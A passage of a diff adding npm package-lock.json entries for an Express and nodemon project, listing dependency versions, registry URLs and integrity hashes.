"sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/call-bind": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.7.tgz", + "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + ], + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true + }, + "node_modules/content-disposition": { + "version": "0.5.4", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", + "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", + "dependencies": { + "safe-buffer": "5.2.1" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.6.0.tgz", + "integrity": "sha512-U71cyTamuh1CRNCfpGY6to28lxvNwPG4Guz/EVjgf3Jmzv0vlDp1atT9eS5dDjMYHucpHbWns6Lwf3BKz6svdw==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==" + }, + "node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==" + }, + "node_modules/encodeurl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", + "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/es-define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.0.tgz", + "integrity": "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==", + "dependencies": { + "get-intrinsic": "^1.2.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==" + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/express": { + "version": "4.21.0", + "resolved": "https://registry.npmjs.org/express/-/express-4.21.0.tgz", + "integrity": "sha512-VqcNGcj/Id5ZT1LZ/cfihi3ttTn+NJmkli2eZADigjq29qTlWi/hAQ43t/VLPq8+UX06FCEx3ByOYet6ZFblng==", + "dependencies": { + "accepts": "~1.3.8", + "array-flatten": "1.1.1", + "body-parser": "1.20.3", + "content-disposition": "0.5.4", + "content-type": "~1.0.4", + "cookie": "0.6.0", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "2.0.0", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "1.3.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "merge-descriptors": "1.0.3", + "methods": "~1.1.2", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.10", + "proxy-addr": "~2.0.7", + "qs": "6.13.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.2.1", + "send": "0.19.0", + "serve-static": "1.16.2", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/finalhandler": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.1.tgz", + "integrity": "sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==", + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "statuses": "2.0.1", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-intrinsic": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.4.tgz", + "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "hasown": "^2.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/gopd": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.0.1.tgz", + "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==", + "dependencies": { + "get-intrinsic": "^1.1.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.3.tgz", + "integrity": "sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "dependencies": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ignore-by-default": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/ignore-by-default/-/ignore-by-default-1.0.1.tgz", + "integrity": "sha512-Ius2VYcGNk7T90CppJqcIkS5ooHUZyIQK+ClZfMfMNFEF9VSE73Fq+906u/CWu92x4gzZMWOwfFYckPObzdEbA==", + "dev": true + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/merge-descriptors": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz", + "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==", + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/nodemon": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/nodemon/-/nodemon-3.0.2.tgz", + "integrity": "sha512-9qIN2LNTrEzpOPBaWHTm4Asy1LxXLSickZStAQ4IZe7zsoIpD/A7LWxhZV3t4Zu352uBcqVnRsDXSMR2Sc3lTA==", + "dev": true, + "dependencies": { + "chokidar": "^3.5.2", + "debug": "^4", + "ignore-by-default": "^1.0.1", + "minimatch": "^3.1.2", + "pstree.remy": "^1.1.8", + "semver": "^7.5.3", + "simple-update-notifier": "^2.0.0", + "supports-color": "^5.5.0", + "touch": "^3.1.0", + "undefsafe": "^2.0.5" + }, + "bin": { + "nodemon": "bin/nodemon.js" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/nodemon" + } + }, + "node_modules/nodemon/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dev": true, + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/nodemon/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "node_modules/nopt": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/nopt/-/nopt-1.0.10.tgz", + "integrity": "sha512-NWmpvLSqUrgrAC9HCuxEvb+PSloHpqVu+FqcO4eeF2h5qYRhA7ev6KvelyQAKtegUbC6RypJnlEOhd8vloNKYg==", + "dev": true, + "dependencies": { + "abbrev": "1" + }, + "bin": { + "nopt": "bin/nopt.js" + }, + "engines": { + "node": "*" + } + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-inspect": { + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.2.tgz", + "integrity": "sha512-IRZSRuzJiynemAXPYtPe5BoI/RESNYR7TYm50MC5Mqbd3Jmw5y790sErYw3V6SryFJD64b74qQQs9wn5Bg/k3g==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/path-to-regexp": { + "version": "0.1.10", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.10.tgz", + "integrity": "sha512-7lf7qcQidTku0Gu3YDPc8DJ1q7OOucfa/BSsIwjuh56VU7katFvuM8hULfkwB3Fns/rsVF7PwPKVw1sl5KQS9w==" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/pstree.remy": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/pstree.remy/-/pstree.remy-1.1.8.tgz", + "integrity": "sha512-77DZwxQmxKnu3aR542U+X8FypNzbfJ+C5XQDk3uWjWxn6151aIMGthWYRXTqT1E5oJvg+ljaa2OJi+VfvCOQ8w==", + "dev": true + }, + "node_modules/qs": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.13.0.tgz", + "integrity": "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==", + "dependencies": { + "side-channel": "^1.0.6" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.2.tgz", + "integrity": "sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==", + "dependencies": { + "bytes": "3.1.2", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": 